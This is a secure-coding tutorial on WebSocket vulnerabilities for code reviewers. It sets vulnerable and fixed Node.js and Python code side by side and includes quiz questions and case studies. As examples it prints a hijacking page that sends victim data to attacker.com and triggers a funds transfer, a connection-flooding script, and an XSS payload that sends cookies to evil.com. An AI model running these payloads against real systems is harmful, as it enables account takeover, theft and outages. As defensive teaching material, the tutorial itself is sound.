01 //Introduction to WebSocket Security
WebSockets provide full-duplex, persistent communication channels between browsers and servers. While they enable powerful real-time features — chat, live dashboards, collaborative editing, gaming — they also introduce a unique attack surface that differs significantly from traditional HTTP request-response patterns.
In this guide, you'll learn to identify WebSocket security vulnerabilities during code review, understand Cross-Site WebSocket Hijacking (CSWSH), detect authentication and authorization flaws in message handling, and implement robust prevention techniques for real-time applications.
What makes WebSocket security fundamentally different from traditional HTTP security?
02 //Real-World Scenario
The Scenario: You're reviewing a real-time trading platform that uses WebSockets for live price updates and order execution. The application handles thousands of concurrent WebSocket connections.
1const WebSocket = require('ws');
2const wss = new WebSocket.Server({ server: httpServer });
3
4wss.on('connection', (ws, req) => {
5 // Extract token from query string
6 const token = new URL(req.url, 'http://localhost').searchParams.get('token');
7
8 // No origin validation!
9 // No proper token verification!
10
11 ws.on('message', (data) => {
12 const msg = JSON.parse(data);
13
14 switch (msg.type) {
15 case 'subscribe':
16 // Subscribe to price updates - no authorization check
17 channels[msg.channel].add(ws);
18 break;
19
20 case 'place_order':
21 // Execute trade - trusts client-supplied userId
22 executeOrder({
23 userId: msg.userId, // User-controlled!
24 symbol: msg.symbol,
25 quantity: msg.quantity,
26 price: msg.price,
27 });
28 break;
29
30 case 'chat':
31 // Broadcast message to all connected clients
32 wss.clients.forEach(client => {
33 client.send(JSON.stringify({
34 type: 'chat',
35 message: msg.text, // No sanitization!
36 user: msg.username, // User-controlled!
37 }));
38 });
39 break;
40 }
41 });
42});This scenario illustrates how WebSocket endpoints often receive less security scrutiny than REST APIs, even though they handle equally sensitive operations. The persistent nature of the connection creates a false sense of security — developers assume the initial authentication covers all subsequent messages.
In the trading platform above, which vulnerability has the highest business impact?
03 //Understanding the WebSocket Protocol
To identify WebSocket vulnerabilities effectively, you need to understand how the protocol works. WebSocket connections begin with an HTTP upgrade handshake and then transition to a persistent, frame-based protocol.
1// CLIENT REQUEST
2GET /ws/chat HTTP/1.1
3Host: app.example.com
4Upgrade: websocket
5Connection: Upgrade
6Sec-WebSocket-Version: 13
7Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
8Origin: https://app.example.com
9Cookie: session=abc123
10
11// SERVER RESPONSE
12HTTP/1.1 101 Switching Protocols
13Upgrade: websocket
14Connection: Upgrade
15Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=WebSocket Security vs HTTP Security
| Security Mechanism | HTTP Requests | WebSocket Messages |
|---|---|---|
| CSRF Tokens | Included per-request | Only at handshake (if at all) |
| Same-Origin Policy | Enforced per-request | Only at handshake via Origin header |
| Cookie Sending | Automatic per-request | Automatic at handshake only |
| Content-Type Checking | Available | Not applicable (raw frames) |
| WAF Inspection | Full request/response | Often bypassed or limited |
| Rate Limiting | Per-request middleware | Must be custom-implemented per-message |
| Input Validation | Framework middleware | Manual per-message handler |
| Authentication | Session/token per-request | Must persist across connection lifetime |
WebSocket Frame Types are also important for security analysis:
WebSocket Frame Types
| Opcode | Frame Type | Security Relevance |
|---|---|---|
| 0x1 | Text Frame | Most common — carries JSON/text messages, primary injection vector |
| 0x2 | Binary Frame | Can carry serialized objects — deserialization attacks |
| 0x8 | Close Frame | Can be spoofed to disconnect users (DoS) |
| 0x9 | Ping Frame | Flood attacks if not rate-limited |
| 0xA | Pong Frame | Response to ping — used for keep-alive |
Why does the Sec-WebSocket-Key header NOT provide security against cross-site attacks?
04 //Cross-Site WebSocket Hijacking (CSWSH)
Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket equivalent of CSRF. Because the WebSocket handshake is a regular HTTP request, the browser automatically includes cookies for the target domain. If the server does not validate the Origin header, any website can establish a WebSocket connection as the victim user.
1<!-- Hosted on https://attacker.com/steal.html -->
2<script>
3 // Browser automatically sends victim's cookies for target domain
4 const ws = new WebSocket('wss://vulnerable-app.com/ws/account');
5
6 ws.onopen = () => {
7 // Connection established AS THE VICTIM
8 // Request sensitive data
9 ws.send(JSON.stringify({
10 type: 'get_profile',
11 }));
12
13 ws.send(JSON.stringify({
14 type: 'get_transactions',
15 limit: 100,
16 }));
17 };
18
19 ws.onmessage = (event) => {
20 // Exfiltrate victim's data to attacker's server
21 fetch('https://attacker.com/collect', {
22 method: 'POST',
23 body: event.data,
24 });
25 };
26
27 // Can also perform actions AS the victim
28 ws.onopen = () => {
29 ws.send(JSON.stringify({
30 type: 'transfer_funds',
31 to: 'attacker_account',
32 amount: 10000,
33 }));
34 };
35</script>1// Server-side (Node.js + ws library)
2const wss = new WebSocket.Server({ server });
3
4wss.on('connection', (ws, req) => {
5 // No origin check at all - any website can connect
6 // Cookies are automatically sent by browser
7 const session = getSessionFromCookie(req.headers.cookie);
8 if (session) {
9 ws.userId = session.userId;
10 ws.send('Connected as ' + session.username);
11 }
12});1wss.on('connection', (ws, req) => {
2 const origin = req.headers.origin;
3
4 // Substring check - bypassed by "app.example.com.attacker.com"
5 if (!origin.includes('app.example.com')) {
6 ws.close();
7 return;
8 }
9
10 // Regex without anchors - bypassed by "evil-app.example.com"
11 if (!/app\.example\.com/.test(origin)) {
12 ws.close();
13 return;
14 }
15
16 // Checking only protocol - any .com domain matches
17 if (!origin.endsWith('.com')) {
18 ws.close();
19 return;
20 }
21});1const ALLOWED_ORIGINS = new Set([
2 'https://app.example.com',
3 'https://admin.example.com',
4]);
5
6wss.on('connection', (ws, req) => {
7 const origin = req.headers.origin;
8
9 // Exact match against allowlist
10 if (!origin || !ALLOWED_ORIGINS.has(origin)) {
11 ws.close(4003, 'Forbidden origin');
12 return;
13 }
14
15 // Also validate authentication
16 const token = extractBearerToken(req);
17 const user = verifyToken(token);
18 if (!user) {
19 ws.close(4001, 'Unauthorized');
20 return;
21 }
22
23 ws.userId = user.id;
24 ws.role = user.role;
25});An application validates the WebSocket Origin header using: origin.includes('myapp.com'). Which origin would bypass this check?
05 //Finding Vulnerable Patterns
During code review, focus on these categories of WebSocket vulnerabilities: message handling sinks, authentication gaps, and authorization flaws in per-message processing.
WebSocket Vulnerability Sinks
| Sink Type | Risk Level | Impact | Code Pattern |
|---|---|---|---|
| JSON.parse() without validation | High | Injection, prototype pollution | JSON.parse(message) |
| eval() / Function() on message data | Critical | Remote code execution | eval(msg.expression) |
| innerHTML with message content | High | Cross-site scripting | el.innerHTML = msg.text |
| SQL/NoSQL query with message fields | Critical | Database injection | db.find({id: msg.id}) |
| File path from message data | High | Path traversal | fs.readFile(msg.path) |
| Shell command with message data | Critical | Command injection | exec(msg.command) |
| broadcast() with raw message | High | Stored XSS to all users | clients.forEach(c => c.send(msg)) |
1ws.on('message', (data) => {
2 const msg = JSON.parse(data);
3
4 switch (msg.action) {
5 case 'get_user':
6 // IDOR - any authenticated user can fetch any profile
7 const user = await db.users.findById(msg.userId);
8 ws.send(JSON.stringify(user));
9 break;
10
11 case 'delete_message':
12 // No ownership check - any user can delete any message
13 await db.messages.deleteOne({ _id: msg.messageId });
14 ws.send(JSON.stringify({ status: 'deleted' }));
15 break;
16
17 case 'set_role':
18 // Privilege escalation - no admin check
19 await db.users.updateOne(
20 { _id: msg.targetUser },
21 { role: msg.newRole }
22 );
23 break;
24
25 case 'admin_broadcast':
26 // No role check - anyone can broadcast as admin
27 broadcastToAll({ type: 'announcement', text: msg.text });
28 break;
29 }
30});1ws.on('message', (data) => {
2 let msg;
3 try {
4 msg = JSON.parse(data);
5 } catch {
6 ws.send(JSON.stringify({ error: 'Invalid JSON' }));
7 return;
8 }
9
10 // Validate message structure with schema
11 const validation = messageSchema.safeParse(msg);
12 if (!validation.success) {
13 ws.send(JSON.stringify({ error: 'Invalid message format' }));
14 return;
15 }
16
17 switch (msg.action) {
18 case 'get_user':
19 // Users can only access their own profile (or admin)
20 if (ws.userId !== msg.userId && ws.role !== 'admin') {
21 ws.send(JSON.stringify({ error: 'Forbidden' }));
22 return;
23 }
24 const user = await db.users.findById(msg.userId);
25 ws.send(JSON.stringify(sanitizeUser(user)));
26 break;
27
28 case 'delete_message':
29 // Ownership check
30 const message = await db.messages.findById(msg.messageId);
31 if (message.authorId !== ws.userId && ws.role !== 'admin') {
32 ws.send(JSON.stringify({ error: 'Forbidden' }));
33 return;
34 }
35 await db.messages.deleteOne({ _id: msg.messageId });
36 break;
37
38 case 'admin_broadcast':
39 // Role check
40 if (ws.role !== 'admin') {
41 ws.send(JSON.stringify({ error: 'Forbidden' }));
42 return;
43 }
44 broadcastToAll({ type: 'announcement', text: sanitize(msg.text) });
45 break;
46 }
47});1// Client-side message handler
2socket.onmessage = (event) => {
3 const data = JSON.parse(event.data);
4
5 switch (data.type) {
6 case 'chat':
7 // Direct HTML insertion - stored XSS!
8 chatBox.innerHTML += `
9 <div class="message">
10 <strong>${data.username}</strong>: ${data.message}
11 </div>
12 `;
13 break;
14
15 case 'notification':
16 // HTML in notification
17 document.getElementById('alerts').innerHTML = data.html;
18 break;
19
20 case 'update_profile':
21 // Setting src from server data without validation
22 document.getElementById('avatar').src = data.avatarUrl;
23 break;
24 }
25};1socket.onmessage = (event) => {
2 let data;
3 try {
4 data = JSON.parse(event.data);
5 } catch {
6 console.error('Invalid message from server');
7 return;
8 }
9
10 switch (data.type) {
11 case 'chat':
12 // Use textContent - no HTML parsing
13 const msgDiv = document.createElement('div');
14 msgDiv.className = 'message';
15 const strong = document.createElement('strong');
16 strong.textContent = data.username;
17 const text = document.createTextNode(': ' + data.message);
18 msgDiv.appendChild(strong);
19 msgDiv.appendChild(text);
20 chatBox.appendChild(msgDiv);
21 break;
22
23 case 'notification':
24 // Use textContent, not innerHTML
25 document.getElementById('alerts').textContent = data.text;
26 break;
27
28 case 'update_profile':
29 // Validate URL scheme before setting src
30 const url = new URL(data.avatarUrl);
31 if (['https:'].includes(url.protocol)) {
32 document.getElementById('avatar').src = data.avatarUrl;
33 }
34 break;
35 }
36};A WebSocket chat application broadcasts user messages to all connected clients using: clients.forEach(c => c.send(msg)). The client renders them with innerHTML. Where should sanitization happen?
06 //Authentication & Session Management
WebSocket authentication is uniquely challenging because the connection is long-lived. Unlike HTTP where each request can carry fresh credentials, a WebSocket connection may persist for hours or days. This creates problems around token expiration, session revocation, and credential handling.
WebSocket Authentication Approaches
| Approach | Security Level | Pros | Cons |
|---|---|---|---|
| Cookie-based (automatic) | Low | Simple, automatic | Vulnerable to CSWSH, no per-message auth |
| Token in query string | Low | Simple | Token in logs, Referer, browser history |
| Token in first message | Medium | Token not in URL | Race condition: messages before auth |
| Token in Sec-WebSocket-Protocol | Medium | Not in URL or logs | Non-standard, limited by header format |
| Token in custom header (via library) | High | Clean, secure | Not available from browser WebSocket API |
| Ticket-based (short-lived code) | High | No long-lived token exposure | More complex, requires backend coordination |
1// Client-side
2const ws = new WebSocket(
3 'wss://api.example.com/ws?token=eyJhbGciOiJIUzI1NiIs...'
4);
5// Token visible in:
6// - Server access logs
7// - Proxy logs
8// - Browser history
9// - Referer header if page navigates
10// - Network monitoring tools1// Step 1: Client requests a short-lived WebSocket ticket via REST API
2const response = await fetch('/api/ws-ticket', {
3 method: 'POST',
4 headers: {
5 'Authorization': 'Bearer ' + accessToken,
6 'Content-Type': 'application/json',
7 },
8});
9const { ticket } = await response.json();
10
11// Step 2: Connect with the single-use ticket
12const ws = new WebSocket('wss://api.example.com/ws?ticket=' + ticket);
13
14// --- Server-side ---
15wss.on('connection', async (ws, req) => {
16 const ticket = new URL(req.url, 'http://localhost').searchParams.get('ticket');
17
18 // Ticket is single-use, short-lived (30 seconds), and tied to IP
19 const session = await redeemTicket(ticket, req.socket.remoteAddress);
20 if (!session) {
21 ws.close(4001, 'Invalid or expired ticket');
22 return;
23 }
24
25 ws.userId = session.userId;
26 ws.role = session.role;
27 ws.connectedAt = Date.now();
28});
29
30// Periodic re-authentication check
31setInterval(() => {
32 wss.clients.forEach(async (ws) => {
33 const isValid = await checkUserSession(ws.userId);
34 if (!isValid) {
35 ws.close(4001, 'Session expired');
36 }
37 });
38}, 60000); // Check every minute1import websockets
2
3async def handler(websocket, path):
4 # Auth only happens once at connection time
5 token = await websocket.recv()
6 user = verify_jwt(token)
7
8 if not user:
9 await websocket.close(4001, "Unauthorized")
10 return
11
12 # Connection stays open FOREVER - even after:
13 # - Token expires
14 # - User is banned
15 # - Password is changed
16 # - Session is revoked
17 async for message in websocket:
18 await handle_message(user, message)1import websockets
2import asyncio
3
4async def handler(websocket, path):
5 token = await websocket.recv()
6 user = verify_jwt(token)
7
8 if not user:
9 await websocket.close(4001, "Unauthorized")
10 return
11
12 session_id = user["session_id"]
13 last_check = time.time()
14
15 async for message in websocket:
16 # Re-validate session periodically (every 60 seconds)
17 if time.time() - last_check > 60:
18 if not await is_session_valid(session_id):
19 await websocket.close(4001, "Session revoked")
20 return
21 last_check = time.time()
22
23 # Re-verify permissions for sensitive operations
24 msg = json.loads(message)
25 if msg["action"] in SENSITIVE_ACTIONS:
26 fresh_user = await get_user(user["id"])
27 if not fresh_user or fresh_user["suspended"]:
28 await websocket.close(4003, "Account suspended")
29 return
30
31 await handle_message(user, msg)A user changes their password on a banking app. What happens to their existing WebSocket connections if the server only authenticates at handshake time?
07 //Prevention Techniques
1const WebSocket = require('ws');
2const { z } = require('zod');
3
4// --- Connection-level security ---
5const ALLOWED_ORIGINS = new Set([
6 'https://app.example.com',
7 'https://admin.example.com',
8]);
9
10const MAX_CONNECTIONS_PER_IP = 10;
11const MAX_MESSAGE_SIZE = 64 * 1024; // 64 KB
12const MAX_MESSAGES_PER_MINUTE = 60;
13const ipConnections = new Map();
14
15const wss = new WebSocket.Server({
16 server,
17 maxPayload: MAX_MESSAGE_SIZE, // Limit frame size
18 verifyClient: ({ req }, callback) => {
19 // 1. Strict origin validation
20 const origin = req.headers.origin;
21 if (!origin || !ALLOWED_ORIGINS.has(origin)) {
22 callback(false, 403, 'Forbidden origin');
23 return;
24 }
25
26 // 2. Per-IP connection limiting
27 const ip = req.socket.remoteAddress;
28 const count = ipConnections.get(ip) || 0;
29 if (count >= MAX_CONNECTIONS_PER_IP) {
30 callback(false, 429, 'Too many connections');
31 return;
32 }
33 ipConnections.set(ip, count + 1);
34
35 callback(true);
36 },
37});
38
39// Message schema validation
40const MessageSchema = z.discriminatedUnion('action', [
41 z.object({
42 action: z.literal('chat'),
43 text: z.string().max(2000).trim(),
44 channelId: z.string().uuid(),
45 }),
46 z.object({
47 action: z.literal('subscribe'),
48 channelId: z.string().uuid(),
49 }),
50 z.object({
51 action: z.literal('typing'),
52 channelId: z.string().uuid(),
53 }),
54]);
55
56wss.on('connection', async (ws, req) => {
57 // 3. Ticket-based authentication
58 const ticket = new URL(req.url, 'http://localhost')
59 .searchParams.get('ticket');
60 const user = await redeemTicket(ticket);
61 if (!user) {
62 ws.close(4001, 'Unauthorized');
63 return;
64 }
65
66 ws.userId = user.id;
67 ws.role = user.role;
68 ws.messageCount = 0;
69 ws.lastReset = Date.now();
70
71 // 4. Connection timeout
72 ws.connectionTimeout = setTimeout(() => {
73 ws.close(4008, 'Connection timeout');
74 }, 24 * 60 * 60 * 1000); // 24 hours max
75
76 ws.on('message', async (raw) => {
77 // 5. Rate limiting per connection
78 if (Date.now() - ws.lastReset > 60000) {
79 ws.messageCount = 0;
80 ws.lastReset = Date.now();
81 }
82 if (++ws.messageCount > MAX_MESSAGES_PER_MINUTE) {
83 ws.send(JSON.stringify({ error: 'Rate limited' }));
84 return;
85 }
86
87 // 6. Parse and validate message schema
88 let msg;
89 try {
90 msg = MessageSchema.parse(JSON.parse(raw));
91 } catch (err) {
92 ws.send(JSON.stringify({ error: 'Invalid message' }));
93 return;
94 }
95
96 // 7. Per-message authorization
97 await handleMessage(ws, msg);
98 });
99
100 ws.on('close', () => {
101 clearTimeout(ws.connectionTimeout);
102 const ip = req.socket.remoteAddress;
103 ipConnections.set(ip, (ipConnections.get(ip) || 1) - 1);
104 });
105});1class SecureWebSocket {
2 constructor(url, options = {}) {
3 this.maxReconnectAttempts = options.maxReconnectAttempts || 5;
4 this.reconnectDelay = options.reconnectDelay || 1000;
5 this.messageHandlers = new Map();
6 this.reconnectAttempts = 0;
7
8 // Schema validation for incoming messages
9 this.messageSchema = options.messageSchema;
10 }
11
12 async connect() {
13 // Obtain short-lived ticket via authenticated API
14 const response = await fetch('/api/ws-ticket', {
15 method: 'POST',
16 credentials: 'same-origin',
17 headers: { 'X-CSRF-Token': getCsrfToken() },
18 });
19 const { ticket } = await response.json();
20
21 this.ws = new WebSocket(
22 `wss://api.example.com/ws?ticket=${ticket}`
23 );
24
25 this.ws.onmessage = (event) => {
26 let data;
27 try {
28 data = JSON.parse(event.data);
29 } catch {
30 console.error('Invalid server message');
31 return;
32 }
33
34 // Validate server messages too
35 if (this.messageSchema && !this.messageSchema.safeParse(data).success) {
36 console.error('Unexpected message format', data);
37 return;
38 }
39
40 // Use safe rendering - NEVER innerHTML
41 const handler = this.messageHandlers.get(data.type);
42 if (handler) handler(data);
43 };
44
45 this.ws.onclose = (event) => {
46 if (event.code !== 1000 && this.reconnectAttempts < this.maxReconnectAttempts) {
47 setTimeout(() => {
48 this.reconnectAttempts++;
49 this.connect();
50 }, this.reconnectDelay * Math.pow(2, this.reconnectAttempts));
51 }
52 };
53 }
54
55 // Type-safe message sending
56 send(action, payload) {
57 if (this.ws?.readyState === WebSocket.OPEN) {
58 this.ws.send(JSON.stringify({ action, ...payload }));
59 }
60 }
61
62 on(type, handler) {
63 this.messageHandlers.set(type, handler);
64 }
65}Which of these is the MOST important single defense for a WebSocket endpoint?
08 //Message Injection & Protocol Abuse
WebSocket message injection goes beyond simple XSS. Attackers can manipulate message formats, exploit custom protocols, and abuse application-level message routing to escalate their access or disrupt service.
1// Server-side: Custom message router
2ws.on('message', (data) => {
3 const msg = JSON.parse(data);
4
5 // Message type controls server behavior without validation
6 if (msg.type === 'system') {
7 // Attacker sends: { "type": "system", "action": "shutdown" }
8 handleSystemMessage(msg);
9 } else if (msg.type === 'admin') {
10 // Attacker sends: { "type": "admin", "action": "grant_role", "role": "admin" }
11 handleAdminMessage(msg);
12 } else {
13 handleUserMessage(msg);
14 }
15});Message Smuggling occurs when the WebSocket application layer uses a sub-protocol (JSON, MessagePack, custom delimiters) and the parsing is inconsistent between security checks and business logic:
1// Custom protocol: messages separated by newlines
2ws.on('message', (data) => {
3 // Security filter checks the entire raw message
4 if (containsMaliciousPattern(data.toString())) {
5 ws.close();
6 return;
7 }
8
9 // But business logic splits by newline and processes each part
10 // Attacker sends: "safe_message\nmalicious_message"
11 const messages = data.toString().split('\n');
12 messages.forEach(msg => processMessage(JSON.parse(msg)));
13});1// Binary WebSocket messages with custom serialization
2ws.on('message', (data, isBinary) => {
3 if (isBinary) {
4 // Deserializing binary data without validation
5 // Attacker can craft malicious serialized objects
6 const obj = deserialize(data); // e.g., msgpack, protobuf, BSON
7 processObject(obj);
8 }
9});1// Define message handlers with required roles
2const MESSAGE_HANDLERS = {
3 chat: { handler: handleChat, roles: ['user', 'admin'] },
4 subscribe: { handler: handleSubscribe, roles: ['user', 'admin'] },
5 moderate: { handler: handleModerate, roles: ['moderator', 'admin'] },
6 system: { handler: handleSystem, roles: ['system'] },
7 admin: { handler: handleAdmin, roles: ['admin'] },
8};
9
10ws.on('message', (data) => {
11 const msg = MessageSchema.parse(JSON.parse(data));
12
13 const route = MESSAGE_HANDLERS[msg.action];
14 if (!route) {
15 ws.send(JSON.stringify({ error: 'Unknown action' }));
16 return;
17 }
18
19 // Role-based authorization per message type
20 if (!route.roles.includes(ws.role)) {
21 ws.send(JSON.stringify({ error: 'Forbidden' }));
22 auditLog('ws_authz_fail', { userId: ws.userId, action: msg.action });
23 return;
24 }
25
26 route.handler(ws, msg);
27});09 //Advanced Attack Vectors
Beyond CSWSH and message injection, WebSocket applications face advanced attack vectors including denial of service, resource exhaustion, tunneling attacks, and race conditions in message processing.
1// Attacker opens many connections and sends data extremely slowly
2// Each connection consumes server memory and a file descriptor
3
4const connections = [];
5for (let i = 0; i < 10000; i++) {
6 const ws = new WebSocket('wss://target.com/ws');
7 ws.onopen = () => {
8 // Send one byte every 30 seconds - keeps connection alive
9 // but never completes a message frame
10 setInterval(() => {
11 ws.send(new Uint8Array([0x01]));
12 }, 30000);
13 };
14 connections.push(ws);
15}1// Concurrent messages can create race conditions
2ws.on('message', async (data) => {
3 const msg = JSON.parse(data);
4
5 if (msg.action === 'transfer') {
6 const balance = await getBalance(ws.userId);
7
8 // TOCTOU: balance checked, but two concurrent transfers
9 // can both pass the check before either deducts
10 if (balance >= msg.amount) {
11 await deductBalance(ws.userId, msg.amount);
12 await creditBalance(msg.toUser, msg.amount);
13 }
14 }
15});
16// Attacker sends 10 transfer messages simultaneously
17// with the same amount, draining more than their balance1const wss = new WebSocket.Server({
2 server,
3 maxPayload: 64 * 1024, // Max message size: 64KB
4 backlog: 100, // Max pending connections
5 clientTracking: true, // Track connected clients
6});
7
8// Connection limits per IP
9const MAX_CONNS_PER_IP = 5;
10const MAX_TOTAL_CONNECTIONS = 10000;
11const connsByIp = new Map();
12
13// Idle timeout - disconnect inactive connections
14const IDLE_TIMEOUT = 5 * 60 * 1000; // 5 minutes
15
16wss.on('connection', (ws, req) => {
17 // Total connection limit
18 if (wss.clients.size > MAX_TOTAL_CONNECTIONS) {
19 ws.close(1013, 'Server overloaded');
20 return;
21 }
22
23 const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress;
24 const ipConns = connsByIp.get(ip) || 0;
25 if (ipConns >= MAX_CONNS_PER_IP) {
26 ws.close(4029, 'Too many connections from your IP');
27 return;
28 }
29 connsByIp.set(ip, ipConns + 1);
30
31 // Idle detection
32 ws.isAlive = true;
33 ws.lastActivity = Date.now();
34
35 ws.on('pong', () => { ws.isAlive = true; });
36 ws.on('message', () => { ws.lastActivity = Date.now(); });
37
38 ws.on('close', () => {
39 const current = connsByIp.get(ip) || 1;
40 if (current <= 1) connsByIp.delete(ip);
41 else connsByIp.set(ip, current - 1);
42 });
43});
44
45// Heartbeat: detect dead connections
46setInterval(() => {
47 wss.clients.forEach((ws) => {
48 if (!ws.isAlive) return ws.terminate();
49 if (Date.now() - ws.lastActivity > IDLE_TIMEOUT) return ws.terminate();
50 ws.isAlive = false;
51 ws.ping();
52 });
53}, 30000);1// Use database-level atomic operations or locks
2ws.on('message', async (data) => {
3 const msg = MessageSchema.parse(JSON.parse(data));
4
5 if (msg.action === 'transfer') {
6 // Atomic operation - deduct and check in single query
7 const result = await db.collection('accounts').findOneAndUpdate(
8 {
9 userId: ws.userId,
10 balance: { $gte: msg.amount }, // Check in the same operation
11 },
12 { $inc: { balance: -msg.amount } },
13 { returnDocument: 'after' }
14 );
15
16 if (!result) {
17 ws.send(JSON.stringify({ error: 'Insufficient balance' }));
18 return;
19 }
20
21 // Credit is a separate operation - use transactions for full safety
22 await db.collection('accounts').updateOne(
23 { userId: msg.toUser },
24 { $inc: { balance: msg.amount } }
25 );
26
27 ws.send(JSON.stringify({ status: 'ok', newBalance: result.balance }));
28 }
29});WebSocket Tunneling is an advanced technique where attackers use a legitimate WebSocket connection to tunnel traffic to internal services. If the WebSocket server proxies or forwards data based on message content, it can become an SSRF vector:
1ws.on('message', async (data) => {
2 const msg = JSON.parse(data);
3
4 if (msg.action === 'fetch_preview') {
5 // Server fetches URL from user message - SSRF!
6 const response = await fetch(msg.url);
7 const preview = await response.text();
8 ws.send(JSON.stringify({ type: 'preview', html: preview }));
9 }
10
11 if (msg.action === 'proxy') {
12 // Proxying to user-specified internal services
13 const internal = await fetch('http://' + msg.service + ':' + msg.port + msg.path);
14 ws.send(await internal.text());
15 }
16});10 //Real-World Case Studies
Case Study 1: Slack WebSocket Token Leak (2019)
A researcher discovered that Slack's WebSocket connection included session tokens in the connection URL. Because WebSocket URLs are logged by proxies and show up in Referer headers, the tokens could be captured by corporate network monitoring tools. Slack awarded a bounty and moved to a ticket-based authentication system.
Case Study 2: Socket.IO CSWSH in Financial Platform (2021)
A major financial trading platform used Socket.IO without origin validation. An attacker created a malicious page that, when visited by a logged-in trader, established a WebSocket connection to the platform as the victim. The attacker could read real-time portfolio data and execute trades. The vulnerability was possible because Socket.IO's initial HTTP polling phase sent cookies automatically, and the server did not validate the Origin header.
1// Vulnerable: No CORS/origin restriction
2const io = require('socket.io')(server, {
3 cors: {
4 origin: '*', // Allows ANY origin
5 credentials: true,
6 },
7});
8
9// Fixed: Strict origin allowlist
10const io = require('socket.io')(server, {
11 cors: {
12 origin: ['https://app.example.com'], // Explicit allowlist
13 credentials: true,
14 },
15 allowRequest: (req, callback) => {
16 const origin = req.headers.origin;
17 const allowed = ALLOWED_ORIGINS.has(origin);
18 callback(null, allowed);
19 },
20});Case Study 3: Chat Application XSS via WebSocket (2023)
A popular open-source chat platform had a stored XSS vulnerability through WebSocket messages. The server did not sanitize incoming chat messages before broadcasting them to other clients. The client rendered messages using innerHTML. An attacker sent <img src=x onerror=fetch('https://evil.com/?'+document.cookie)> as a chat message, which executed in every connected client's browser, stealing session cookies.
Case Study 4: WebSocket Race Condition in Cryptocurrency Exchange (2022)
A cryptocurrency exchange used WebSocket connections for real-time trading. A race condition in the order execution handler allowed attackers to send multiple simultaneous withdrawal requests before the balance check completed. By sending 50 concurrent withdrawal messages through the WebSocket connection, the attacker was able to withdraw 50x their actual balance before the system detected the discrepancy.
Notable WebSocket Vulnerabilities
| Target | Year | Vulnerability | Impact | Root Cause |
|---|---|---|---|---|
| Slack | 2019 | Token in WS URL | Session hijacking via logs | Token in query string |
| Trading Platform | 2021 | CSWSH via Socket.IO | Unauthorized trading | No origin validation |
| Chat Platform | 2023 | Stored XSS via WS | Cookie theft, account takeover | No message sanitization |
| Crypto Exchange | 2022 | Race condition | 50x balance withdrawal | Non-atomic operations |
| Zoom | 2020 | WS message injection | Meeting disruption | Insufficient message validation |
| GitLab (CVE-2020-13379) | 2020 | WS-based SSRF | Internal network scanning | URL fetching via WS messages |
A WebSocket-based chat app sanitizes messages on the server using DOMPurify before broadcasting. Is this sufficient to prevent XSS?
11 //Tools & Resources
WebSocket Security Testing & Development Tools
| Category | Tool Name | Description |
|---|---|---|
| Testing | Burp Suite WebSocket Extension | Intercept, modify, and replay WebSocket messages |
| Testing | OWASP ZAP WebSocket Add-on | Automated WebSocket vulnerability scanning |
| Testing | websocat | CLI tool for WebSocket testing and debugging |
| Testing | wscat | WebSocket client for command-line interaction |
| Exploitation | Cross-Site WebSocket Hijacking Tester | Automated CSWSH proof-of-concept generator |
| Exploitation | ws-harness | WebSocket fuzzing and injection framework |
| Defense | Socket.IO (with CORS config) | WebSocket library with built-in origin validation |
| Defense | ws (Node.js) | Low-level WebSocket library with verifyClient callback |
| Validation | Zod / Joi / Ajv | Schema validation for WebSocket message payloads |
| Monitoring | Wireshark | Network-level WebSocket frame analysis |
Essential Reading: OWASP Testing Guide — Testing WebSockets (WSTG-CLNT-10), RFC 6455 (The WebSocket Protocol), PortSwigger WebSocket Security Academy, CSWSH research papers by Christian Schneider.
12 //Conclusion & Code Review Checklist
WebSocket security requires a different mindset from traditional HTTP security. The persistent, bidirectional nature of WebSocket connections means that many standard web security controls do not apply after the initial handshake. Every message must be treated as a potential attack vector.
WebSocket Security Code Review Checklist
| Category | Check | Priority |
|---|---|---|
| Origin Validation | Is the Origin header validated against a strict allowlist? | Critical |
| Origin Validation | Does the check use exact matching (not substring/regex)? | Critical |
| Authentication | Is authentication performed at handshake time? | Critical |
| Authentication | Are tokens passed securely (not in URL query string)? | High |
| Authentication | Is session validity checked periodically during connection? | High |
| Authorization | Is every message type checked for user permissions? | Critical |
| Authorization | Are user IDs taken from the session, not from message data? | Critical |
| Input Validation | Are message payloads validated against a schema? | High |
| Input Validation | Is JSON parsing wrapped in try/catch? | Medium |
| XSS Prevention | Is message content sanitized before broadcasting? | High |
| XSS Prevention | Do clients use textContent (not innerHTML) for WS data? | High |
| Rate Limiting | Are messages rate-limited per connection? | High |
| Rate Limiting | Are connections limited per IP? | High |
| Resource Limits | Is maxPayload set to limit message size? | Medium |
| Resource Limits | Is there a connection idle timeout? | Medium |
| Resource Limits | Is there a maximum connection duration? | Low |